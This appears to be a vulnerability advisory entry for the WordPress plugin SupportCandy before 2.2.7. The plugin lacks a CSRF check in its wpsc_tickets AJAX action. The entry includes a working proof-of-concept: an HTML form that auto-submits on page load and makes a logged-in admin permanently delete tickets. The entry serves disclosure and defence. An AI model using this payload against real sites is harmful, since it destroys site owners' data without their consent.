SupportCandy < 2.2.7 - Arbitrary Ticket Deletion via CSRF

2022-01-0500:00:00

Brandon Roldan

0.001 Low

EPSS

Percentile

26.5%

JSON

The plugin does not have CRSF check in its wpsc_tickets AJAX action, which could allow attackers to make a logged in admin call it and delete arbitrary tickets via the set_delete_permanently_bulk_ticket setting_action.

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpsc_tickets" />
      <input type="hidden" name="setting_action" value="set_delete_permanently_bulk_ticket" />
      <input type="hidden" name="ticket_id" value="1" />
    </form>
  </body>
</html>

0.001 Low

EPSS

Percentile

26.5%

JSON

Related for WPEX-ID:B71F53D7-6B9E-458C-8754-576AD2A52F7D